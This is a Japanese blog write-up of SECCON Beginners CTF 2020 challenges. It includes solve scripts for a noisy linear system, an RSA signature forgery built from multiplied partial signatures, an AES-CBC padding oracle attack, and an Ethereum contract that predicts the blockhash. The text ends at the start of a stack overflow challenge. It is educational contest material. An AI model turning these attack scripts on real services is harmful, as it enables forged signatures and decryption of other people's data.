problem.pyが配布されます。

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

ランダムに毎回生成される、flag長と同じ長さのcoeffs(係数)に対して、

answer = dot(coeff, FLAG) + getrandbits(L)

のリストが計算されて返ってきます。
answerを計算するときに使っているseedは、環境変数に設定されている固定のSEEDを使っているので、この時追加されるノイズのgetrandbits(L)は、毎回同じものが生成されるはず。
最後に追加されるgetrandbits(L)の値をnoise[]と表現すると、

coeff[0][0] * FLAG[0] + coeff[0][1] * FLAG[1] + ... + coeff[0][43] * FLAG[43] + noise[0] = answer[0]
coeff[1][0] * FLAG[0] + coeff[1][1] * FLAG[1] + ... + coeff[1][43] * FLAG[43] + noise[1] = answer[1]
...

となります。ここで既知なのはcoeff,answer、何度とってきても変わらないのがFLAG,noiseFLAGの先頭はctf4b{であることが予想できます。
となると、2回 coeff, answer を取得すると、answer_1 - answer_2 をすることで、noiseが消えてくれそう。

answer_1[n] - answer_2[n]
    = FLAG[0] * (coeff_1[n][0] - coeff_2[n][0]) + 
      FLAG[1] * (coeff_1[n][1] - coeff_2[n][1]) + 
      ...

となると、後は既知の値と欲しい値FLAGだけ残った方程式になるので解けそう!
までわかったものの、ここからどうして良いかわからず試合終了。もうちょっと時間が欲しかったなぁ。

復習

これ、なんか見たことあるんだよなーと思ってたら、去年のBeginner's CTFの [Crypto] Party で似た問題が出ていた…。復習したつもりだったのに忘れてた(꒪⌓꒪)

が、この時参考にした数式は式3つまで。今回はflagの文字長、44文字分あります。
素直に他の方のwriteupをカンニングして、効率の良い解き方を教わることにします。

数式で解説してあってとてもわかりやすい。上記の式は

f:id:kusuwada:20200605152700p:plain

の行列計算になっており、flagを求める事ができればOK。c_diff逆行列を求め、これをa*inv(c_diff)してあげるとflagが求まる。

これは、numpyの機能を使うと、下記のようにチャッと書ける。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
import numpy as np
from numpy.linalg import inv

host = 'noisy-equations.quals.beginners.seccon.jp'
port = 3000

def fetch_values():
    r = remote(host, port)
    coeffs = np.matrix(eval(r.recvline()), dtype = 'float')
    answers = np.array(eval(r.recvline()), dtype = 'float')
    return coeffs, answers

c1, a1 = fetch_values()
c2, a2 = fetch_values()

a_diff = a1 - a2
c_diff = c1 - c2

inv_c = inv(c_diff)
flag = inv_c.dot(a_diff)

for i in range(flag.size):
    print(chr(int(round(flag[0,i]))),end='')
print()

実行結果

$ python solve.py
[+] Opening connection to noisy-equations.quals.beginners.seccon.jp on port 3000: Done[+] Opening connection to noisy-equations.quals.beginners.seccon.jp on port 3000: Donectf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
[*] Closed connection to noisy-equations.quals.beginners.seccon.jp port 3000
[*] Closed connection to noisy-equations.quals.beginners.seccon.jp port 3000

まず降ってくる行列の文字列を行列に格納するところから悪戦苦闘していた。eval使えば一発だった…。

[Crypto] RSA Calc [Medium]

F(1337)=FLAG!

nc rsacalc.quals.beginners.seccon.jp 10001

rsacalc.zip

server.pyが配布されます。

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

接続して見ると

$ nc rsacalc.quals.beginners.seccon.jp 10001
N: 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
----------
1) Sign
2) Exec
3) Exit
> 

最初にNを与えられます。Sign機能とExec機能があり、Signでは入力した文字列datapow(data, d, N)で署名し、署名(Signature)を返却します。Execでは、datasignatureのセットを入力させ、Signatureを検証、その後 stack に見立てた処理で data を処理し、結果が 1337 になればフラグゲット。

dataを処理していって、Fが入っていたときにstackの一番上が1337になっていれば良いようなのですが、signatureのチェックのところでF1337が入っていた場合には弾かれてしまいます。
1337は直接入れなくても、1000 + 337のように計算するようにしてあげれば全然問題ないのですが、Fが入れられないのは困った…。

動作確認のため、server.pyのstack計算部分をlocalで動かしながら検証してみると、1000,+,337,Fみたいな入力で大丈夫そう。でもFが入ってるんだよなぁ…。
Signatureを1000,337,+,Eなどの他の文字列でもらっておいて、Eの箇所をFdataを書き換え、それに対応するsignatureも書き換えて送ったりするのかなぁ…。

復習

他の方のwriteupをいくつか読んでやってみました。

m_1d * m_2d \equiv (m_1m_2)d \bmod n

であることを利用して、m = 1337,Fm1,m2に分解してSignしてもらったsignatureをかければ良いとのこと。
確かに!ExecのときはSignatureとdataが一致しているかの判定しか行っていないからいけそう…!頭いいな!全然思いつかなかった。

やってみる。

1337,Fは 54095972346950 だったので、この値を factordb.comに突っ込んでみると、54095972346950< = 2 * 5^2 * 1081919446939 とのこと。これを m1,m2に設定します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Util.number import *
from pwn import * 
from pprint import pprint

host = 'rsacalc.quals.beginners.seccon.jp'
port = 10001

def fetch_signature(data):
    r = remote(host, port)
    res = r.recvuntil(b'----------')
    N = int(res[3:].split(b'\n')[0])
    res = r.recvuntil(b'> ')
    r.sendline(b'1')
    res = r.recvuntil(b'data> ')
    r.sendline(long_to_bytes(data))
    s = int(r.recvline()[10:-1],16)
    r.close()
    return N, s

data = b'1337,F'
print(bytes_to_long(data))  # 54095972346950
m1 = 1081919446939
m2 = bytes_to_long(data) // m1

N, s1 = fetch_signature(m1)
N, s2 = fetch_signature(m2)
s = s1 * s2 % N

r = remote(host, port)
res = r.recvuntil(b'> ')
r.sendline(b'2')
res = r.recvuntil(b'data> ')
r.sendline(data)
res = r.recvuntil(b'signature> ')
r.sendline(hex(s)[2:])
print(r.recvline())

実行結果

$ python solve.py 
54095972346950
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
b'ctf4b{SIgn_n33ds_P4d&H4sh}\n'
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001

他、分解しなくても2で割ったものと2 (すなわちm_1が2)でやったり、逆にm_1=2mでやったりしているwriteupも。
これも基礎力を問われる感じの、とてもいい問題だったんだなぁ…。

[Crypto] Encrypter [Medium]

暗号化できるサービスを作ってみました!

http://encrypter.quals.beginners.seccon.jp/

指定されたurlに行ってみると、base64 encode/decode サービスっぽいサイトが。

f:id:kusuwada:20200601062938p:plain

Encrypted flagボタンがあるので、これを選んでEncrypt/Decryptを押してみると、それっぽい文字列がOutputに表示されます。が、他の文字列をEncryptしてもそうなんですけど、ボタンを押すごとに値が変わります。
Encrypt機能で得られた文字列をInputに入れ、Decryptを実行してみると、ok. TODO: return the result without the flagとOutputに表示されます。

htmlソースを読んでみても、ぱっとそれっぽい処理はなし。/encrypt.phpを読みに行っていることがわかります。このソースを取得できないかやってみましたができませんでした。そもそもCrypto問だし。

この問題は時間切れでポチポチ試してみただけ。ソースなし問題。

復習

Discordに作問者さんからのコメントがあったのでコピペ。

参加者で返してる人がいないので作問者から。Encrypterはブロック暗号関連の知識が必要で、特にブロック暗号利用モードが何かに気付けるかどうかが鍵になります。Encrypted flagがボタンを押すたびに全然違う文字列になるので、「最初にランダムなIVを使用して暗号化するCBCモードが使われているだろう」という予想を立てることができます。

CBCで有名な攻撃を検索すると、BitFlip攻撃やPadding oracle attackといった攻撃が出てきますが、今回の問題は復号の可否がわかるので後者になります

とのこと。エラーを吐かせて、暗号の種類を特定できたのか。

他の方のwriteup読んでみた感じ、エラーで判別してる人もいれば、暗号語の文字列の長さや上記の通り同じ文字列を暗号化しても毎度値が異なることからAESが使われていることを推測している人も。

ポチポチ試してみて観測できること

  • 同じ文字列を暗号化しても、毎回違う暗号文が生成される
  • 文字列の長さを変えると、暗号文の長さも変わる
  • Encrypted flag ボタンを押すと、毎回違う暗号文が返ってくるが長さは毎回一緒
  • Encrypt機能で暗号化された文字列は、base64Decodeすると、16の倍数になっている
  • Encrypt機能で生成した文字列をDecryptしてもok. TODO: return the result without the flagとしか返ってこない
  • が、ちょっと変えてDecryptに突っ込むと、error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block lengthが返る

このエラーの文言 wrong final block length から、paddingに失敗していることを推測することが想定されていたっぽい。また。digital envelope routines など、エラーメッセージのフォーマットっぽいので検索すると、AES-CBCが使われていることまでわかる。

復号できたかどうかの成否を与えられる、AES-CBCに対する攻撃手法と言えば、Padding Oracle。ということで、Padding Oracle攻撃を試す、という流れだったらしい。

これまでもpicoCTFで何度かPadding Oracleに関する問題が出題されており、そのたびに色々読みながら攻撃コードを組み立てていましたが、今回いくつかのwriteupにて、ptrlibにpadding oracle用のAPIが用意されているらしい…!知らなかった。ということで、これを使ってみます。

github.com

なんか見たことある名前のライブラリと見たことあるサムネ画像だなーと思ったら、作者が ptr-yudai さんだった。
サンプルコードはこちら。

https://bitbucket.org/ptr-yudai/ptrlib/src/master/examples/crypto/ex_padcbc.py

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import base64
import json
from ptrlib import *
from Crypto.Cipher import AES

url = 'http://encrypter.quals.beginners.seccon.jp/encrypt.php'
flag_cipher = 'y7yja1+ro8yJVmTrban4XQG/5jKIpWtm2AC5tGhTScSY0TVgWUEahx9x+37u8biBfxFa9aI+h3zttKegXuZN9g=='

def try_decrypt(cipher):
    data = {
        'mode': 'decrypt',
        'content': base64.b64encode(cipher).decode()
    }
    headers = {'Content-Type': 'application/json'}
    res = requests.post(url, data=json.dumps(data), headers=headers)
    if 'TODO:' in res.text:
        return True
    else:
        return False

cipher = base64.b64decode(flag_cipher)
cracked = padding_oracle(try_decrypt, cipher, bs=AES.block_size, unknown=b'?')
print(cracked)

実行結果

$ python solve.py 
[+] padding_oracle_block: decrypted a byte 1/16: b'\x02'
[+] padding_oracle_block: decrypted a byte 2/16: b'\x02'
[+] padding_oracle_block: decrypted a byte 3/16: b'}'
[+] padding_oracle_block: decrypted a byte 4/16: b'n'
[+] padding_oracle_block: decrypted a byte 5/16: b'0'
(略)
[+] padding_oracle_block: decrypted a byte 13/16: b'3'
[+] padding_oracle_block: decrypted a byte 14/16: b'_'
[+] padding_oracle_block: decrypted a byte 15/16: b'r'
[+] padding_oracle_block: decrypted a byte 16/16: b'0'
[+] padding_oracle: decrypted a block 2/4: b'0r_3ncrypt10n}\x02\x02'
[+] padding_oracle_block: decrypted a byte 1/16: b'f'
[+] padding_oracle_block: decrypted a byte 2/16: b'_'
[+] padding_oracle_block: decrypted a byte 3/16: b'l'
(略)
[+] padding_oracle_block: decrypted a byte 15/16: b't'
[+] padding_oracle_block: decrypted a byte 16/16: b'c'
[+] padding_oracle: decrypted a block 4/4: b'ctf4b{p4d0racle_'
b'????????????????ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'

文字が判明するごとに出力、ブロックが判明するごとに行出力してくれるので、とても安心。こんなに早く実装できるとは…!

暗号にAES-CBCが使われていること、こちらが得られる情報からpadding oracleが使えそうなこと、に気付けるかが問われている問題だった。

[Crypto] C4B [Hard]

Are you smart?

http://c4b.quals.beginners.seccon.jp/

これはチラ見すらしなかった。問題文からして、Smart Contruct関連?

復習

タイトルと使うツールなどから、仮想通貨、イーサリアム(Ethereum)関連の問題であることがわかります。
このあたりでイーサリアム、およびスマートコントラクトについての基礎中の基礎知識をつけておきます。

環境を整えて問題が見れる・動かせるようにする

指定されたサイトを訪れると、Web3 Provider をinstallするよう言われます。

f:id:kusuwada:20200605063558p:plain

ここに良さそうな解説記事が。

MetaMask を使用した Web3 の初期化 - 🍣sushiether🍣

  • MetaMask は Chrome プラグインとして使える大変便利な Ethereum ウォレットです。
  • MetaMask を使用するとボタン 1 つでトランザクションに署名ができるので、エンドユーザーが DApps を使用する際に重宝します。

ほうほう。リポジトリはこちら。

github.com

今回はChrome拡張機能が必要っぽいので、下記からChromeにインストールします。

chrome.google.com

これをインストールして先程のページを開くと、Rule, Source, Hintが表示されました🙌

f:id:kusuwada:20200605063625p:plain

まだ警告が残っています。Switch to Ropsten Network とのこと。Ropstenで検索すると、Ethereumのテストネットの一つらしく、他にもkovan,rinkebyなどがある。
先程のMetaMask拡張のサイトに、テストネットを選択するところがあったので、ropstenを選択してみます。

f:id:kusuwada:20200605063814p:plain

切り替えて戻ってみると、警告が消えていました。スタートできそうです。
topに表示されているSourceを眺めてみます。

pragma solidity >= 0.5.0 < 0.7.0;

contract C4B {

  address public player;
  bytes8 password;
  bool public success;

  event CheckPassed(address indexed player);

  constructor(address _player, bytes8 _password) public {
    player = _player;
    password = _password;
    success = false;
  }

  function check(bytes8 _password, uint256 pin) public returns(bool) {
    uint256 hash = uint256(blockhash(block.number - 1));
    if (hash%1000000 == pin) {
      if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) {
        success = true;
      }
    }
    emit CheckPassed(player);
    return success;
  }
}

ここで使われている言語は、Solidityと言うらしい。

Solidityはスマートコントラクトを扱えるオブジェクト指向高級言語です。スマートコントラクトはEthereum内でアカウントの動作を制御するものです。

SolidityはC++PythonJavaScriptを参考に、Ethereum Virtual Machine(EVM)の操作を目的に作られています。

知らないことがたくさんあるなぁ。
Hintに書かれている、Remix IDEは、このSolidity用のIDE

ブラウザベースのIDEでSolidityでスマートコントラクトが書け、デプロイしてスマートコントラクトを動かすことができます。

とのこと。

まずは動かしてみます。
ページトップの方にあるDeployを押してみると、こんなウィンドウが立ち上がります。

f:id:kusuwada:20200605063945p:plain:h300

このままでは残高不足で何もできないようです。テストネットで動いているので、MetaMaskのページで 振り込み > Faucetをテストで、テスト振り込みしておきます。

f:id:kusuwada:20200605064243p:plain

時間がかかりますが、1 ETHずつ振り込み > Faucetをテストで振り込んでいくと、5 ETHまで振り込んだところでこれ以上所持できなくなります。今回は1 ETHでも充分だったかも。

沢山お金が手に入ったので、TopページのDeployを試してみます。今回はちゃんと残高が足りたので「確認」ボタンが押せるようになっています。ボタンを押して送金完了。一通りの機能が試せました。

f:id:kusuwada:20200605064326p:plain

MetaMaskからリンクで飛べる Etherscan では、各コントラクトの詳細情報が確認できます。
Deployした際、コントラクトが confirmed になったら、MetaMaskプラグインから完了通知とともに「Etherscan で確認しますか?」的なポップが出るので、ここからEtherscanに飛べます。MetaMaskページの取引履歴でも送金元・先のアドレスや金額、Gas Limit, Used, Price などが確認でき、更にEtherscanへのショートカットも用意されていました👍 TransactionIDをコピーしてそれで検索してもよし。

f:id:kusuwada:20200605064410p:plain

Ethereumを扱う際は、まずはこのサイトで情報をチェックするのが定石っぽい。

事前知識の獲得とソースコード解読

さて、何をしていいかさっぱりわからないので、ここらへんで下記のサイトをざーっと読んでみました。

今回サイト上に示されていたコードは、上記のコントラクト・コードにあたります。

コントラクト・コードに任意の動作をプログラムすることで、独自通貨の発行や投票システムなどの様々なアプリケーションが実現できます。コントラクト・コードの実行は採掘者によって行われ、実行結果は公開元帳であるブロックチェーンに書き込まれていき、特定の中央機関なくアプリケーションが動作していきます。

とのこと。この機能がEthereumの特徴であるらしい。

サイト上のDeployをすると、このC4Bコントラクトがデプロイされ、インスタンスがEthereumのブロックチェーン上に生成されます。このインスタンスに対して、適切な引数を付けてcheck()関数を呼び出すとflagが得られるっぽい。

スマートコントラクトを作成し実行する - Ethereum入門 に、set()関数呼び出しで値をセット、get()関数呼び出しで値を取得するようなコントラクト・コードの例が載っているので、参考になる。

Solidityは初見ですが、C++PythonJavaScriptを参考に作られたということもあり、雰囲気で読めそう。
下記のチェックをpassすればよさそう。

uint256(blockhash(block.number - 1)) % 1000000 == pin
keccak256(abi.encode(password)) == keccak256(abi.encode(_password)

まず、block.numberは現在のブロック高のこと。EtherscanからはBlock Heightとして確認できます。当該Transactionが含まれるblockの最新のブロック高から計算できる値が、check関数の引数、pinと合致すればOK。

2つ目はkeccak256()というhash関数に食わせた者同士を比較していますが、

Solidityでは、stringという文字列の型を使用するのですが、他の言語のStringと違って、文字列の比較ができません。

そのため、一度、Keccak256関数を使って文字列をbytes32型にし、その値を比較する必要があります。

from: 【Ethereum・Solidity】Keccak256(ハッシュ関数)について | ブロックチェーンエンジニアのブログ

ということで、あまり気にしなくて良さそう。インスタンス生成時にsetされたpasswordと、check関数呼び出し時の引数_passwordが合致していればOK。

SmartContractを Remix IDE でデプロイして動かしてみる

まだ挙動がよくわかっていなかったので、とりあえずヒントのIDEを使ってみることに。ブラウザ上で動作するので、環境の準備は不要。

初学者なので、まずは

EthereumのDapps開発にはRemixが便利 - Qiita

こちらの記事を読みながら、Contractのコードを作成、Compile、Deployをしてinstanceを作るところまでをやってみました。まずはHelloWorldコードを写経。

pragma solidity ^0.4.0;

contract HelloWorld {
    string greeting = "HelloWorld";
    
    function sayHelloWorld() public view returns(string) {
        return greeting;
    }
}

最新のバージョンでのコンパイル方法がわからなかったのですが、Homeの Environments > SOLIDITY をクリックすると、左側に SOLIDITY COMPILER のメニューが表示されました。

Compileが通ったら、メニューアイコンが SOLIDITY COMPILER の下にある DEPLOY & RUN TRANSACTIONS に行ってみます。

環境やアカウント、GAS Limitなどの設定をした後、Deployを実行。

Deployが終わると、下にある Transaction recorded の箇所に情報が出てくるので、Deployed Contractsから対象のContractを選び展開すると、sayHelloWorldボタンが出現。これを押すと、機能をrunしてくれ、返り値に設定した 0: string: HelloWolrdが表示されました。

これと同じように、今回のC4Bコントラクト・コードも作成、Complile, Deployしてみます。
DEPLOY & RUN TRANSACTIONS ページで、ENVIRONMENTを Injected Web3 に変更、AccountをMetaMaskに表示されている自分のものを入力(自動で入力される)すると、使えるようになる。

_PLAYERに自分のアカウントのaddress, _PASSWORDに適当な値を入れてDeployすると、こんな感じに。

f:id:kusuwada:20200605064653p:plain

Deployed Contracts を展開すると、check機能が使えるようになっている。ここでcheck機能の条件をクリアする入力を入れると インスタンスsuccesstrue になって、きっとflagが手に入る。

こんな感じでインスタンスの値を取得するボタンもあり、現在のsuccessの値を取得できます。

f:id:kusuwada:20200605064730p:plain

passwordの値を調べる

passwordは自分でinstance作るんだから知ってるじゃん、と思ったけど、さっきみたいに Remix IDE で自分でdeployしたやつじゃなくて問題ページのDeploy機能でdeployしたものを使う必要があるんだった。初めてのことすぎて錯乱している。

問題ページのDeploy機能でdeployしたtransactionは、MetaMaskの履歴からEtherscanへのリンクで詳細が確認できる。

passwordの求め方は、writeup読んでいても三者三様(文字通り)で面白い。多分2つはとても似ているので、今回はLaikaさんとkusanoさんのwriteupをなぞってみました。

1.自分の作成したinstanceの Storage を参考に、Storage のどこに password が書かれるかを推測

まず、先程自分でRemix上でC4Bコントラクトを作成したときのTransactionに飛び、StateChanges を見ます。

f:id:kusuwada:20200605064752p:plain

StateがChangeした際の詳細を見ると、Storageの中身が書き換わっています。ここに、passwordに指定していたdeadbeefcafebabeがいました。

同様に、問題サイト上からdeployしたときの transaction > StateChanges を確認してみます。

f:id:kusuwada:20200605064814p:plain

先程passwordが入っていたところはa5b20ad6a7a11e8cに変わっています。これがpasswordであると推測できます。

2.Contractのdecompile結果を解読する

問題サイトからDeployしたときのTransactionを確認します。

f:id:kusuwada:20200605064958p:plain

この To: のところのContractが知りたいので、アドレスのリンクをクリックすると、Contractの情報に飛べます。

f:id:kusuwada:20200605065422p:plain

Decompile ByteCode のボタンリンクをクリックすると、Decompile画面に飛び、Decompileを実行すると下記の結果が得られます。

#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0xBa0C16D30DAc50d6530B7D405c901bA611312f01
# 
#  Let's make the world open source 
# 

def _fallback() payable: # default function
  revert

def unknown4c96a389(addr _param1) payable: 
  require calldata.size - 4 >= 32
  create contract with 0 wei
                  code: 0xfe608060405234801561001057600080fd5b506040516102703803806102708339818101604052604081101561003357600080fd5b508051602090910151600080546001600160a01b0319166001600160a01b0390931692909217600160a01b600160e01b031916600160a01b60c09290921c919091021760ff60e01b191681556101e190819061008f90396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80630b93381b1461004657806348db5f8914610062578063c577930a14610086575b600080fd5b61004e6100b3565b604080519115158252519081900360200190f35b61006a6100c3565b604080516001600160a01b039092168252519081900360200190f35b61004e6004803603604081101561009c57600080fd5b506001600160c01b031981351690602001356100d2565b600054600160e01b900460ff1681565b6000546001600160a01b031681565b600060001943014082620f42408206141561016057604080516001600160c01b03198087166020808401919091528351808403820181528385018552805190820120600054600160a01b900460c01b909216606080850191909152845180850390910181526080909301909352815191909201201415610160576000805460ff60e01b1916600160e01b1790555b600080546040516001600160a01b03909116917f320f420edbd58b0816e3c933b93878e7c130093cdc9237d2e3a855b724f69c9491a25050600054600160e01b900460ff169291505056fea2646970667358221220847acddc65835de532668e5c0c467e8906f287b7ccd0665a6763dd424e10be6a64736f6c634300060600, addr(_param1), Mask(64, 192, sha3(block.hash(block.number - 1)))
  if not create.new_address:
      revert with ext_call.return_data[0 len return_data.size]
  log 0xbe099bcc: addr(create.new_address), _param1

この、codeの最後の Mask(64, 192, sha3(block.hash(block.number - 1))) がpasswordだと見当をつけ、C4Bの逆コンパイル結果と見比べて、solidityコードの

bytes8(keccak256(abi.encode(blockhash(block.number - 1))))

と等価だと考えたらしい。すご。

pinの値を調べる

この方法も何通りかありそうでした。

C4B - SECCON Beginners CTF 2020 - minaminao

こちらのwriteupでは、web3モジュールの機能を使っていました。
latest_block = w3.eth.getBlock("latest") とすると、最新のblockが取れるらしい。
ただし、ここで最新のものを取得するコードを書いていても

トランザクションがブロックに含まれるのに時間差があり、pin が正しい値になることが難しい (Infura の情報が遅れてるのかもしれない) ので、success が true になるまでトランザクションを送信するスクリプトを書いた。

とあるように、block.numberがどんどん更新されていくので、pinを固定して持っておくと辛そう。

そこで、このcheck関数を呼び出す、別のContractを作成し、checkの呼び出し時にblock.numberを取得するようにすると良いらしい。

適切なpassword, hashを設定して、check関数を呼ぶ

ということで、C4B contract の check関数を呼び出す Solve contract を作成。attack関数でblock.numberを取得、pinを計算し、passwordとセットにしてC4B.checkを呼び出します。

importで既存のファイルをimportできるそうなので使ってみた。ほおおぉぉぉ。Ethereum 外部コントラクトの呼び出し方法(Remix, MetaMask連携) - Qiita

pragma solidity >= 0.5.0 < 0.7.0;

import 'C4B.sol';

contract Solve {
    C4B public target;
    constructor(address _target) public {
        target = C4B(_target);
    }
    function attack(bytes8 password) public {
        uint256 hash = uint256(blockhash(block.number-1))%1000000;
        target.check(password, hash);
    }
}

これを Remix IDE で作成、コンパイルし、"Your contract is at: 0x908ce018A52dE84ce3357882dF526Ce1C0Ab85ef" と問題サイトに教えてもらった(MetaMaskやEtherscanからも確認できるが) contract address を _target に設定して Deployします。
Deployできたら、後は先程取得したpassword 0xa5b20ad6a7a11e8cをセットし、attack関数を叩きます。

f:id:kusuwada:20200605065455p:plain

これでうまく行っていれば、問題サイトで作成した C4B contract の instance の check関数が正しい引数 password, pinで呼ばれ、状態 successtrue に変わるはず。

Etherscanから、このpublicな状態 success を確認しようとしてみましたが、方法がわからなかった。他のcontractだと read contract みたいな機能があって、内部状態が確認できるのだけど、testnetだからなのかソースを付けていないからなのか、確認できなかった。
ただ、このcheckを叩くcontractのtransactionを確認すると (対象contract -> Interna lTxns -> 一番上のHash) State Changeで下記が確認できた。

f:id:kusuwada:20200605065518p:plain

passwordより前のバイトが 0から1 に変化したので、何かしら内部状態に変更が生じたことが確認できる。更に false -> true の変更を期待しているので、限りなく success が true になったと考えて良さそう。

問題サイトに戻り、Submitを押してみます。署名を送ると、多分successの状態が確認され、チェックが通り、flagが表示されました🙌

f:id:kusuwada:20200605065537p:plain

ちなみに、問題の C4B contract を decompile してみるとこんな感じ。

(コメント省略)

def storage:
  stor0 is uint128 at storage 0 offset 160
  unknown48db5f89Address is addr at storage 0
  success is uint8 at storage 0 offset 224

def success() payable: 
  return bool(success)

def unknown48db5f89() payable: 
  return unknown48db5f89Address

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def unknownc577930a(uint64 _param1, uint256 _param2) payable: 
  require calldata.size - 4 >= 64
  if block.hash(block.number - 1) % 10^6 == _param2:
      if sha3(stor0 << 192) == sha3(Mask(64, 192, _param1)):
          success = 1
  log 0x320f420e: unknown48db5f89Address
  return bool(success)

ソースが与えられずに decompile 結果から中身を把握する問題もありそう。

途中からはほぼ他のwriteupを「なぞった」感じ。ほぼEthereum初見で解けてる人たち凄いなぁ…。
writeupなぞってやってても、ちょいミスでflagまで辿り着けないを繰り返していたので、本番で解ける気がしない(꒪ཀ꒪)

参考にしたwriteup

見つかったwriteupは3つ。解けたチームが5つなのでこんなもんかも。書いていただいてありがとうございました!

感想など

競技中は解けなかった問題、改めて見ると「なんで解けんかったんや」という問題もあれば、「あぁ、基礎力足りなかったな」とか「応用力足りなかったな」「根気が足りなかったな」「時間書ける問題間違えたな」などなど色々反省。

問題自体はどれもとても勉強になりました。復習してよかったー🙌!最近CTF用メモを作っていて、技術や用語、脆弱性や攻撃手法、数学理論、豆知識…など仕入れた知識をコツコツメモしてるんですけど、その場でしか使えない知識やなぞなぞ、guess系の問題だとメモるすことがなくて終わってしまう。そういうCTFも楽しくて好きなんだけど。
CTf4b 2020は、そういう意味でも基本的・汎用的な問題が多く、学ぶことが多かったように思います。(まだPwn・Reversingやってないけど)

特に、全然触ったこともなかった GraphQL や Ethereum の基本的な問題に、時間をかけてじっくり取り組めたのはとても良かった。競技終了後もサーバーをrunningにしておく期間(基本放置とおっしゃってますが問題なく動いていました)を設けていただいて、運営の皆様には感謝です。

SECCON for Beginners CTF 2020 writeup

2020年5月23,24日に開催された、SECCON Beginners CTF 2020に参加しました。
と言っても、今年も全然振るわず。難易度 [Beginner] はなんとか全部通せたものの、[Easy]2問しか解けず、しょんぼりでした。

あとで全ジャンル復習するぞ!ということで、簡単な問題ばかりですがまずはwriteupを。公式解法も出ているようなので需要はなさそうだけど、自分のためにも。

f:id:kusuwada:20200524152217p:plain:h400

今回もソロ参加、659pt, 157位でした。

f:id:kusuwada:20200524152220p:plain:w400

[Pwn] Beginner's Stack [Beginner]

Let's learn how to abuse stack overflow!

nc bs.quals.beginners.seccon.jp 9001

challという実行ファイルが配布されます。

$ file chall 
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped

実行してみます。

$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe1d098630 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffe1d098638 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe1d098640 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe1d098648 | 0x00007fc6b8150190 |
                   +--------------------+
0x00007ffe1d098650 | 0x00007ffe1d098660 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe1d098658 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe1d098660 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe1d098668 | 0x00007fc6b7f6909b | <-- return address (main)
                   +--------------------+
0x00007ffe1d098670 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe1d098678 | 0x00007ffe1d098748 |
                   +--------------------+
                   
Input: 

適当に a をたくさん入れてみます。

Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe1d098630 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffe1d098638 | 0x6161616161616161 |
                   +--------------------+
